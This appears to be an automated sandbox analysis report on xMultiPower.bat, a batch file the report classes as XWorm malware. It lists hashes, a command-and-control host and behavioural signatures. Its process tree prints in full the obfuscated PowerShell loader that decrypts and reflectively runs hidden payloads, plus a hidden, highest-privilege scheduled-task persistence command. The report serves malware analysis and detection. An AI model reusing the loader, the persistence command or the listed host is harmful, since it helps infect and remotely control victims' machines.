Analysis
- max time kernel
1200s - max time network
1167s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system - submitted
10/06/2024, 14:02
Static task
static1
Behavioral task
behavioral1
Sample
xMultiPower.bat
Resource
win7-20240220-en
4 signatures
1200 seconds
General
- Target xMultiPower.bat
- Size 390KB
- Sample240610-rcdtxsybrf
- SHA256 3a1da018b43f1dd10eb3675d7b636bd32cb0df9e652a14e243f88953f04c8e89
- MD5 1ea03fad3259b7e127f5e05879db00a9
- SHA1 5a0a28fa51768019339626fc0d10777e0860c4cb
- SHA512 c0c58b8bf5711a59bcb8bc34ee328b217f958f77307650ec3084d3c170fb1e7aab42cd4a6e996e53261a630d79ffb5e354ca6f109764e5a6ff805ea1e0a78777
- SSDEEP 12288:V38H8KRbEwtap0NezWGuTvLj4nr6wKtLBir0em:V3o1RGuj4rbs
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Family
-
xworm
C2
-
done-declared.gl.at.ply.gg:43143
Attributes
-
install_file
USB.exe
Signatures
- Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/5024-60-0x000001EDDD6A0000-0x000001EDDD6B4000-memory.dmp family_xworm - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 4700 powershell.exe 5024 powershell.exe 2456 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation WScript.exe - Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\G: svchost.exe File opened (read-only) \??\H: svchost.exe File opened (read-only) \??\I: svchost.exe File opened (read-only) \??\J: svchost.exe File opened (read-only) \??\N: svchost.exe File opened (read-only) \??\L: svchost.exe File opened (read-only) \??\V: svchost.exe File opened (read-only) \??\Z: svchost.exe File opened (read-only) \??\A: svchost.exe File opened (read-only) \??\B: svchost.exe File opened (read-only) \??\Q: svchost.exe File opened (read-only) \??\R: svchost.exe File opened (read-only) \??\T: svchost.exe File opened (read-only) \??\U: svchost.exe File opened (read-only) \??\W: svchost.exe File opened (read-only) \??\Y: svchost.exe File opened (read-only) \??\E: svchost.exe File opened (read-only) \??\K: svchost.exe File opened (read-only) \??\M: svchost.exe File opened (read-only) \??\O: svchost.exe File opened (read-only) \??\P: svchost.exe File opened (read-only) \??\S: svchost.exe File opened (read-only) \??\X: svchost.exe - Drops file in System32 directory 6 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe - Drops file in Windows directory 6 IoCs
description ioc Process File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies data under HKEY_USERS 10 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d2-ad-4e-75-6f-6f svchost.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d2-ad-4e-75-6f-6f\WpadDecision = "0" svchost.exe Set value (data) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d2-ad-4e-75-6f-6f\WpadDecisionTime = cc9a825940bbda01 svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00DDF3C5ECE" svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (data) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d2-ad-4e-75-6f-6f\WpadDecisionTime = cd96d7a841bbda01 svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad svchost.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d2-ad-4e-75-6f-6f\WpadDecisionReason = "1" svchost.exe Set value (data) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d2-ad-4e-75-6f-6f\WpadDecisionTime = b95f58f03fbbda01 svchost.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings powershell.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2456 powershell.exe 2456 powershell.exe 4700 powershell.exe 4700 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe 5024 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2456 powershell.exe Token: SeDebugPrivilege 4700 powershell.exe Token: SeIncreaseQuotaPrivilege 4700 powershell.exe Token: SeSecurityPrivilege 4700 powershell.exe Token: SeTakeOwnershipPrivilege 4700 powershell.exe Token: SeLoadDriverPrivilege 4700 powershell.exe Token: SeSystemProfilePrivilege 4700 powershell.exe Token: SeSystemtimePrivilege 4700 powershell.exe Token: SeProfSingleProcessPrivilege 4700 powershell.exe Token: SeIncBasePriorityPrivilege 4700 powershell.exe Token: SeCreatePagefilePrivilege 4700 powershell.exe Token: SeBackupPrivilege 4700 powershell.exe Token: SeRestorePrivilege 4700 powershell.exe Token: SeShutdownPrivilege 4700 powershell.exe Token: SeDebugPrivilege 4700 powershell.exe Token: SeSystemEnvironmentPrivilege 4700 powershell.exe Token: SeRemoteShutdownPrivilege 4700 powershell.exe Token: SeUndockPrivilege 4700 powershell.exe Token: SeManageVolumePrivilege 4700 powershell.exe Token: 33 4700 powershell.exe Token: 34 4700 powershell.exe Token: 35 4700 powershell.exe Token: 36 4700 powershell.exe Token: SeIncreaseQuotaPrivilege 4700 powershell.exe Token: SeSecurityPrivilege 4700 powershell.exe Token: SeTakeOwnershipPrivilege 4700 powershell.exe Token: SeLoadDriverPrivilege 4700 powershell.exe Token: SeSystemProfilePrivilege 4700 powershell.exe Token: SeSystemtimePrivilege 4700 powershell.exe Token: SeProfSingleProcessPrivilege 4700 powershell.exe Token: SeIncBasePriorityPrivilege 4700 powershell.exe Token: SeCreatePagefilePrivilege 4700 powershell.exe Token: SeBackupPrivilege 4700 powershell.exe Token: SeRestorePrivilege 4700 powershell.exe Token: SeShutdownPrivilege 4700 powershell.exe Token: SeDebugPrivilege 4700 powershell.exe Token: SeSystemEnvironmentPrivilege 4700 powershell.exe Token: SeRemoteShutdownPrivilege 4700 powershell.exe Token: SeUndockPrivilege 4700 powershell.exe Token: SeManageVolumePrivilege 4700 powershell.exe Token: 33 4700 powershell.exe Token: 34 4700 powershell.exe Token: 35 4700 powershell.exe Token: 36 4700 powershell.exe Token: SeIncreaseQuotaPrivilege 4700 powershell.exe Token: SeSecurityPrivilege 4700 powershell.exe Token: SeTakeOwnershipPrivilege 4700 powershell.exe Token: SeLoadDriverPrivilege 4700 powershell.exe Token: SeSystemProfilePrivilege 4700 powershell.exe Token: SeSystemtimePrivilege 4700 powershell.exe Token: SeProfSingleProcessPrivilege 4700 powershell.exe Token: SeIncBasePriorityPrivilege 4700 powershell.exe Token: SeCreatePagefilePrivilege 4700 powershell.exe Token: SeBackupPrivilege 4700 powershell.exe Token: SeRestorePrivilege 4700 powershell.exe Token: SeShutdownPrivilege 4700 powershell.exe Token: SeDebugPrivilege 4700 powershell.exe Token: SeSystemEnvironmentPrivilege 4700 powershell.exe Token: SeRemoteShutdownPrivilege 4700 powershell.exe Token: SeUndockPrivilege 4700 powershell.exe Token: SeManageVolumePrivilege 4700 powershell.exe Token: 33 4700 powershell.exe Token: 34 4700 powershell.exe Token: 35 4700 powershell.exe - Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 3464 Explorer.EXE 3464 Explorer.EXE 3464 Explorer.EXE - Suspicious use of SendNotifyMessage 3 IoCs
pid Process 3464 Explorer.EXE 3464 Explorer.EXE 3464 Explorer.EXE - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2976 wrote to memory of 1008 2976 cmd.exe 82 PID 2976 wrote to memory of 1008 2976 cmd.exe 82 PID 2976 wrote to memory of 2456 2976 cmd.exe 83 PID 2976 wrote to memory of 2456 2976 cmd.exe 83 PID 2456 wrote to memory of 4700 2456 powershell.exe 84 PID 2456 wrote to memory of 4700 2456 powershell.exe 84 PID 2456 wrote to memory of 2392 2456 powershell.exe 87 PID 2456 wrote to memory of 2392 2456 powershell.exe 87 PID 2392 wrote to memory of 3260 2392 WScript.exe 88 PID 2392 wrote to memory of 3260 2392 WScript.exe 88 PID 3260 wrote to memory of 2176 3260 cmd.exe 90 PID 3260 wrote to memory of 2176 3260 cmd.exe 90 PID 3260 wrote to memory of 5024 3260 cmd.exe 91 PID 3260 wrote to memory of 5024 3260 cmd.exe 91 PID 5024 wrote to memory of 3464 5024 powershell.exe 56 PID 5024 wrote to memory of 2560 5024 powershell.exe 43 PID 5024 wrote to memory of 1180 5024 powershell.exe 20 PID 5024 wrote to memory of 1376 5024 powershell.exe 23 PID 5024 wrote to memory of 2360 5024 powershell.exe 41 PID 5024 wrote to memory of 1964 5024 powershell.exe 37 PID 5024 wrote to memory of 4524 5024 powershell.exe 64 PID 5024 wrote to memory of 1960 5024 powershell.exe 69 PID 5024 wrote to memory of 2552 5024 powershell.exe 42 PID 5024 wrote to memory of 2892 5024 powershell.exe 51 PID 5024 wrote to memory of 1760 5024 powershell.exe 30 PID 5024 wrote to memory of 1556 5024 powershell.exe 27 PID 5024 wrote to memory of 964 5024 powershell.exe 12 PID 5024 wrote to memory of 1160 5024 powershell.exe 19 PID 5024 wrote to memory of 1548 5024 powershell.exe 26 PID 5024 wrote to memory of 1004 5024 powershell.exe 68 PID 5024 wrote to memory of 1536 5024 powershell.exe 36 PID 5024 wrote to memory of 1720 5024 powershell.exe 29 PID 5024 wrote to memory of 1128 5024 powershell.exe 18 PID 5024 wrote to memory of 2696 5024 powershell.exe 45 PID 5024 wrote to memory of 1116 5024 powershell.exe 17 PID 5024 wrote to memory of 516 5024 powershell.exe 14 PID 5024 wrote to memory of 908 5024 powershell.exe 11 PID 5024 wrote to memory of 1292 5024 powershell.exe 22 PID 5024 wrote to memory of 1088 5024 powershell.exe 16 PID 5024 wrote to memory of 1868 5024 powershell.exe 32 PID 5024 wrote to memory of 1276 5024 powershell.exe 21 PID 5024 wrote to memory of 1472 5024 powershell.exe 25 PID 5024 wrote to memory of 2648 5024 powershell.exe 54 PID 5024 wrote to memory of 2040 5024 powershell.exe 34 PID 5024 wrote to memory of 2228 5024 powershell.exe 40 PID 5024 wrote to memory of 2620 5024 powershell.exe 44 PID 5024 wrote to memory of 1036 5024 powershell.exe 35 PID 5024 wrote to memory of 1624 5024 powershell.exe 28 PID 5024 wrote to memory of 2752 5024 powershell.exe 47 PID 5024 wrote to memory of 1028 5024 powershell.exe 15 PID 5024 wrote to memory of 3536 5024 powershell.exe 72 PID 5024 wrote to memory of 3584 5024 powershell.exe 57 PID 5024 wrote to memory of 2196 5024 powershell.exe 39 PID 5024 wrote to memory of 4164 5024 powershell.exe 67 PID 5024 wrote to memory of 808 5024 powershell.exe 10 PID 5024 wrote to memory of 3368 5024 powershell.exe 55 PID 5024 wrote to memory of 1788 5024 powershell.exe 31 PID 5024 wrote to memory of 2768 5024 powershell.exe 48 PID 5024 wrote to memory of 1384 5024 powershell.exe 24 PID 5024 wrote to memory of 1972 5024 powershell.exe 33 PID 5024 wrote to memory of 4500 5024 powershell.exe 95 PID 808 wrote to memory of 2860 808 svchost.exe 98 PID 808 wrote to memory of 2860 808 svchost.exe 98 PID 5024 wrote to memory of 1796 5024 powershell.exe 97 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵
- Suspicious use of WriteProcessMemory
PID:808 -
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding2⤵PID:2860
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵PID:908
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:964
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:516
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1028
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1088
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1116
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1128
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
PID:1160
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵PID:1180
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1276
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1292
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1376
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1384
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1472
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1548
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1556
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1624
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1720
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1760
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1788
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1868
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1972
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:2040
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1036
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:1536
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1964
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵PID:2196
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2228
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2360
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2552
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2560
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2620
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
PID:2696
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2752
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2768
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2892
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2648
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3368
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3464 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\xMultiPower.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:2976 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NZA7uStBimzhU2pjm6inNDqFkCs0FhB+CeLL79sWRI4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6OswDjQA8VBkciMxnDy1mg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pIVYA=New-Object System.IO.MemoryStream(,$param_var); $kljBV=New-Object System.IO.MemoryStream; $Cddeu=New-Object System.IO.Compression.GZipStream($pIVYA, [IO.Compression.CompressionMode]::Decompress); $Cddeu.CopyTo($kljBV); $Cddeu.Dispose(); $pIVYA.Dispose(); $kljBV.Dispose(); $kljBV.ToArray();}function execute_function($param_var,$param2_var){ $uzlSo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uoqGL=$uzlSo.EntryPoint; $uoqGL.Invoke($null, $param2_var);}$swHsV = 'C:\Users\Admin\AppData\Local\Temp\xMultiPower.bat';$host.UI.RawUI.WindowTitle = $swHsV;$PZzIj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($swHsV).Split([Environment]::NewLine);foreach ($hSmwK in $PZzIj) { if ($hSmwK.StartsWith('SnmHeIeicRORhReMwpKo')) { $LpkSF=$hSmwK.Substring(20); break; }}$payloads_var=[string[]]$LpkSF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:1008
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2456 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_391_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_391.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4700
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_391.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2392 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_391.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:3260 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NZA7uStBimzhU2pjm6inNDqFkCs0FhB+CeLL79sWRI4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6OswDjQA8VBkciMxnDy1mg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pIVYA=New-Object System.IO.MemoryStream(,$param_var); $kljBV=New-Object System.IO.MemoryStream; $Cddeu=New-Object System.IO.Compression.GZipStream($pIVYA, [IO.Compression.CompressionMode]::Decompress); $Cddeu.CopyTo($kljBV); $Cddeu.Dispose(); $pIVYA.Dispose(); $kljBV.Dispose(); $kljBV.ToArray();}function execute_function($param_var,$param2_var){ $uzlSo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uoqGL=$uzlSo.EntryPoint; $uoqGL.Invoke($null, $param2_var);}$swHsV = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_391.bat';$host.UI.RawUI.WindowTitle = $swHsV;$PZzIj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($swHsV).Split([Environment]::NewLine);foreach ($hSmwK in $PZzIj) { if ($hSmwK.StartsWith('SnmHeIeicRORhReMwpKo')) { $LpkSF=$hSmwK.Substring(20); break; }}$payloads_var=[string[]]$LpkSF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:2176
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5024
-
-
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3584
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:4524
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4164
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1004
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:1960
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:3536
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
PID:4500
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:1796
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 0d5f1ae97485509a131a9309ec9c44c6bd5c10e2966e2c948ea1778066ae6451
- MD5 1fd006c84f5fc8c50b6e84d0b2180b2d
- SHA1 fb01ebbb81a64e2bf064b46f3a4f126031a7118f
- SHA512 cc2ad87258c5a9f0182c6b6ddc0308b0fc99b9a8836a484f05d27340950a6f75b2c412727e51c187716aa7c2ac216dd9d05df7fb3512eeba2a4d68f0acb9b4a0
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
- Size 2KB
- SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
- MD5 005bc2ef5a9d890fb2297be6a36f01c2
- SHA1 0c52adee1316c54b0bfdc510c0963196e7ebb430
- SHA512 f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0r0wj1ot.oer.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_391.bat
- Size 390KB
- SHA256 3a1da018b43f1dd10eb3675d7b636bd32cb0df9e652a14e243f88953f04c8e89
- MD5 1ea03fad3259b7e127f5e05879db00a9
- SHA1 5a0a28fa51768019339626fc0d10777e0860c4cb
- SHA512 c0c58b8bf5711a59bcb8bc34ee328b217f958f77307650ec3084d3c170fb1e7aab42cd4a6e996e53261a630d79ffb5e354ca6f109764e5a6ff805ea1e0a78777
- SSDEEP 12288:V38H8KRbEwtap0NezWGuTvLj4nr6wKtLBir0em:V3o1RGuj4rbs
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_391.vbs
- Size 124B
- SHA256 001d16a935b67d86ece0cbeba26708b61ea9a64c939000752717be146e2864c3
